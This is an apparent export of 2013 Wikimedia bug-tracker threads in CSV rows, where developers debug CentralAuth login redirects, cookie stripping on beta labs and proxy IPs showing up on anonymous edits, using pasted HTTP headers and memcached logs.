+ GET /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikibooks&proto=https&type=1x1&from=itwiktionary HTTP/1.1
+ Accept-Encoding: gzip,deflate,sdch
+ Host: login.wikimedia.org
+ Accept-Language: en,en-US;q=0.8,it-IT;q=0.6,it;q=0.4
+ User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko)  Chrome/27.0.1453.93 Safari/537.36
+ Accept: */*
+ Referer: https://it.wiktionary.org/wiki/Pagina_principale
+ Cookie: centralauth_Session=95bfdea3c79796f1ff880e9e6422e722; centralauth_User=Bug+54119+test
+ Connection: keep-alive
+
+Response:
+
+ HTTP/1.1 301 Moved Permanently
+ Date: Tue, 17 Sep 2013 22:50:28 GMT
+ Via: 1.1 sq63.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq42.esams.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq46.esams.wikimedia.org:80 (squid/2.7.STABLE9)
+ X-Cache-Lookup: MISS from sq63.wikimedia.org:3128
+ X-Cache-Lookup: MISS from amssq42.esams.wikimedia.org:3128
+ X-Cache-Lookup: MISS from amssq46.esams.wikimedia.org:80
+ Server: nginx/1.1.19
+ X-Cache: MISS from sq63.wikimedia.org
+ X-Cache: MISS from amssq42.esams.wikimedia.org
+ X-Cache: MISS from amssq46.esams.wikimedia.org
+ Content-Type: text/html; charset=iso-8859-1
+ Location: http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikibooks&proto=https&type=1x1&from=itwiktionary
+ Connection: keep-alive
+ Content-Length: 352
+
+There are several things about this response that are inconsistent with it being generated by CentralAuth:
+* The status code is 301. CentralAuth generates 302 redirects.
+* There are no Vary or X-Vary-Options or Cache-Control headers. CentralAuth's redirects go through OutputPage, which always adds these headers on WMF wikis.
+* There is no X-Content-Type-Options header either. This header is added almost first thing in WebStart.php.
+* The charset in the Content-Type is iso-8859-1. I'd have expected utf-8.
+* The redirects generated by OutputPage have an empty body, so I'd expect to see Content-Length: 0, or Content-Length: 20 with Content-Encoding: gzip. But here we have Content-Length: 352 with no Content-Encoding.
+
+I also note that other redirects in the log do have the ""signature"" of being generated by OutputPage.
+
+For a similar request to https://login.wikimedia.org/wiki/Special:CentralAutoLogin/validateSession?token=4a8e68b9dc93ea933d38d6e83c01aba41bae8e5&wikiid=mediawikiwiki&type=1x1&from=itwiktionary&proto=https, the response was:
+
+ HTTP/1.1 301 Moved Permanently
+ Date: Tue, 17 Sep 2013 22:50:31 GMT
+ Via: 1.1 sq63.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq31.esams.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq46.esams.wikimedia.org:80 (squid/2.7.STABLE9)
+ X-Cache-Lookup: MISS from sq63.wikimedia.org:3128
+ X-Cache-Lookup: MISS from amssq31.esams.wikimedia.org:3128
+ X-Cache-Lookup: MISS from amssq46.esams.wikimedia.org:80
+ Server: nginx/1.1.19
+ X-Cache: MISS from sq63.wikimedia.org
+ X-Cache: MISS from amssq31.esams.wikimedia.org
+ X-Cache: MISS from amssq46.esams.wikimedia.org
+ Content-Type: text/html; charset=iso-8859-1
+ Location: http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/validateSession?token=4a8e68b9dc93ea933d38d6e83c01aba41bae8e5&wikiid=mediawikiwiki&type=1x1&from=itwiktionary&proto=https
+ Connection: keep-alive
+ Content-Length: 406
+
+For a similar request to https://login.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikivoyage&proto=https&type=1x1&from=itwiktionary:
+
+ HTTP/1.1 301 Moved Permanently
+ Date: Tue, 17 Sep 2013 22:50:33 GMT
+ Via: 1.1 sq63.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq37.esams.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq45.esams.wikimedia.org:80 (squid/2.7.STABLE9)
+ X-Cache-Lookup: MISS from sq63.wikimedia.org:3128
+ X-Cache-Lookup: MISS from amssq37.esams.wikimedia.org:3128
+ X-Cache-Lookup: MISS from amssq45.esams.wikimedia.org:80
+ Server: nginx/1.1.19
+ X-Cache: MISS from sq63.wikimedia.org
+ X-Cache: MISS from amssq37.esams.wikimedia.org
+ X-Cache: MISS from amssq45.esams.wikimedia.org
+ Content-Type: text/html; charset=iso-8859-1
+ Location: http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikivoyage&proto=https&type=1x1&from=itwiktionary
+ Connection: keep-alive
+ Content-Length: 353
+
+I note that the Content-Lengths seem to correspond to the lengths of the Location, and in fact the differences in the lengths exactly match the differences in the lengths of the Location value after htmlspecialchars() or urlencode() is applied, which would be consistent with a non-empty body that includes a link to the redirect target (i.e. *not* the empty body generated by OutputPage).
+
+All this makes me skeptical that this is being caused by something in CentralAuth. And given the lack of a X-Content-Type-Options header too, I suspect the problem is not even in MediaWiki.",,,1379533354,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1
+245803,login error - redirected to foundationwiki Special:CentralLogin/start,(Slightly related: bug 54195),,,1379420368,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245798,login error - redirected to foundationwiki Special:CentralLogin/start,Just got this again.,,,1379364647,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+245791,login error - redirected to foundationwiki Special:CentralLogin/start,*** Bug 53988 has been marked as a duplicate of this bug. ***,,,1378855884,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245785,login error - redirected to foundationwiki Special:CentralLogin/start,"This is still occurring sporadically. Increasing priority, adding Chris & RobLa.",,,1377736663,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+245781,login error - redirected to foundationwiki Special:CentralLogin/start,"(In reply to comment #4)
+> Can we get pageview stats for wmfwiki:Special:CentralLogin ?
+
+Yes but
+1) stats for foundationwiki are completely wrong, bug 49266;
+2) I doubt anything would be included in the stats by design as they are wiki/* URLs (good) but with a parameter (bad):
+so it's useless.
+
+Anyway you can tets your luck with something like:
+    curl http://dumps.wikimedia.org/other/pagecounts-raw/2013/2013-08/pagecounts-20130816-040010.gz | zcat | grep -E ""^www.f.+CentralLogin""",,,1376629966,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,2,True,,,-2,True,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1
+245776,login error - redirected to foundationwiki Special:CentralLogin/start,"I just experienced this as well, from Wikidata.",,,1376334491,,PHID-USER-kc6qx3zohjybu3nzffu3,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+245769,login error - redirected to foundationwiki Special:CentralLogin/start,"This happened to me today using an old WMF test account, thus bug 52568. My first login attempt showed the http://wikimediafoundation.org/wiki/Special:CentralLogin/start?token=xxx failure page as described here, my second login attempt worked but had an invisible 404 request to http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikisource&type=1x1&from=enwiki , and my third attempt didn't request anything from wikimediafoundation.org.
+
+Mmm, cookies.",,,1375752135,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,2,False,,,-4,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+245762,login error - redirected to foundationwiki Special:CentralLogin/start,*** Bug 52568 has been marked as a duplicate of this bug. ***,,,1375751957,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245754,login error - redirected to foundationwiki Special:CentralLogin/start,Can we get pageview stats for wmfwiki:Special:CentralLogin ?,,,1375067704,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+245747,login error - redirected to foundationwiki Special:CentralLogin/start,"During the testing period, this happened to me once. I figured it was cookie clashing or something.",,,1375066212,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,1,True,,,-5,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+245741,login error - redirected to foundationwiki Special:CentralLogin/start,"After I pressed the back button and submitted the login again, I was logged in correctly.",,,1375066164,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+245735,login error - redirected to foundationwiki Special:CentralLogin/start,"CentralAuth isn't installed on private and fishbowl wikis, so you shouldn't be redirected there as part of the CentralAuth login process...",,,1375065698,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53988,login broken on beta labs,"As of 24 July, attempts to login all result in an error ""Login error
+There was an unexpected error logging in. Please try again...""
+
+http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Main+Page
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1374696600,1374759362.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-wsyuomejiy425vjowzno,task_description,resolved,True,c2,1,False,False,True,-5,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+255169,login broken on beta labs,"Congratulations Max Semenik, cookie being stripped was the issue. Fixed by Mark Bergsma with https://gerrit.wikimedia.org/r/#/c/75842/
+
+I managed to log in beta :]",,,1374759362,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+255164,login broken on beta labs,"Confirmed, $_COOKIE is empty.",,,1374704837,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+255158,login broken on beta labs,You probably want a RT to ping mark. He did some cookies related work on varnish during the afternoon.,,,1374702424,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,True,,,-5,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+255152,login broken on beta labs,"(In reply to comment #4)
+> possibly caused by https://gerrit.wikimedia.org/r/#/c/75772/ ?
+
+After a quick test revert, turns out my CA changes are not the culprit. Maybe, Varnish not letting cookies through? CC Mark.",,,1374701338,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+255147,login broken on beta labs,possibly caused by https://gerrit.wikimedia.org/r/#/c/75772/ ?,,,1374699529,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0
+255144,login broken on beta labs,"I have restarted both memcached daemon on apache32 and apache33. Did not solve the issue :-]
+
+Sessions should be in memcached:
+
+$wgObjectCaches['sessions'] = $wgObjectCaches['memcached-pecl'];
+
+
+hashar@deployment-bastion:~$ mwscript eval.php --wiki=enwiki
+> var_dump( $wgObjectCaches['sessions'] );
+array(1) {
+  [""class""]=>
+  string(22) ""MemcachedPeclBagOStuff""
+}
+
+
+
+Not sure what is happening.  Need to rush out to bed right now.",,,1374698702,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+255140,login broken on beta labs,"Maybe the session are wrong in memcached ,
+
+When login in:
+
+tail -f /data/project/logs/web.log|fgrep enwiki|fgrep -i memcached
+
+
+enwiki-36e3721b: 0.6819   9.8M  [memcached] get(enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0)
+enwiki-36e3721b: 0.6823   9.8M  [memcached] result: NOT FOUND
+enwiki-36e3721b: 0.8519  18.2M  [memcached] set(enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0)
+enwiki-f1d77f0c: 0.2077   6.8M  CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
+enwiki-f1d77f0c: 0.2294   9.8M  MemcachedPeclBagOStuff::__construct: persistent Memcached object already loaded.
+enwiki-f1d77f0c: 0.2295   9.8M  [memcached] get(enwiki:session:556d9a1698a968752c7f7c5fb5cdd699)
+enwiki-f1d77f0c: 0.2298   9.8M  [memcached] result: NOT FOUND
+enwiki-f1d77f0c: 0.3549  18.2M  [memcached] set(enwiki:session:556d9a1698a968752c7f7c5fb5cdd699)
+
+
+hashar@deployment-bastion:~$ mwscript mcc.php --wiki=enwiki
+> get enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0
+Getting enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0[]
+MemCached error
+> get enwiki:session:556d9a1698a968752c7f7c5fb5cdd699
+Getting enwiki:session:556d9a1698a968752c7f7c5fb5cdd699[]
+wsLoginToken|s:32:""c722cabf4aefd1XXXXXXXXX"";
+> 
+
+
+The memcached error is weird.",,,1374698291,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+255136,login broken on beta labs,"Adding last two authors in https://git.wikimedia.org/log/mediawiki%2Fextensions%2FCentralAuth/HEAD
+
+Aaron/Ori: Think either of your changes caused this on beta?",,,1374696892,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0
+53862,Some anonymous edits appearing under caching proxy IP address (ssl),"https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#IP_editor_in_ur_base_killin_ur_d00dz
+
+https://en.wikipedia.org/wiki/Special:Contributions/208.80.154.75
+
+https://en.wikipedia.org/wiki/Special:Contributions/208.80.154.76
+
+These are ssl1005 & ssl1006. Edits from 23 July (today). Similar bug 48919 has been resolved.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374574860,1374576523.0,PHID-USER-x7g37sf6tkkrewspco2q,False,,False,PHID-TASK-gsc3rgw46thtrp35vnz3,task_description,resolved,True,c2,1,False,False,True,-6,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247937,Some anonymous edits appearing under caching proxy IP address (ssl),Fixed in https://gerrit.wikimedia.org/r/#/c/75318/,,,1374576523,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-gsc3rgw46thtrp35vnz3,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+53644,centralauth_Token only set for local wiki on login,"When a user logs in, and they have checked ""Keep me logged in"", and they have a global user, the centralauth_Token cookie is only set for the wiki where they are logging in. It is not set for loginwiki, or any of the other SUL wikis.
+
+So the user will be logged out of all the other SUL wikis except the one where they logged in, if they close their browser and then return.
+
+I think we should also set it on loginwiki, so that they will be logged in centrally for 30 days. Other attached wikis can rely on the login check to log them in.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374189480,1374535077.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-azivfykm3othfgrat3g7,task_description,resolved,True,c2,1,True,False,True,-6,True,1,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+235678,centralauth_Token only set for local wiki on login,Deployed.,,,1374535077,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+235675,centralauth_Token only set for local wiki on login,"Change 75262 merged by Anomie:
+Update CentralAuth to fix bug 51644
+
+https://gerrit.wikimedia.org/r/75262",,,1374534211,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+235671,centralauth_Token only set for local wiki on login,"Change 75261 merged by Anomie:
+Update CentralAuth to fix bug 51644
+
+https://gerrit.wikimedia.org/r/75261",,,1374534204,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+235667,centralauth_Token only set for local wiki on login,"Change 75262 had a related patch set uploaded by Anomie:
+Update CentralAuth to fix bug 51644
+
+https://gerrit.wikimedia.org/r/75262",,,1374534090,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235662,centralauth_Token only set for local wiki on login,"Change 75261 had a related patch set uploaded by Anomie:
+Update CentralAuth to fix bug 51644
+
+https://gerrit.wikimedia.org/r/75261",,,1374534076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235655,centralauth_Token only set for local wiki on login,"Change 75251 merged by jenkins-bot:
+Have Special:CentralAutoLogin honor ""Keep me logged in""
+
+https://gerrit.wikimedia.org/r/75251",,,1374529209,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,0
+235648,centralauth_Token only set for local wiki on login,"Change 75251 had a related patch set uploaded by Anomie:
+Have Special:CentralAutoLogin honor ""Keep me logged in""
+
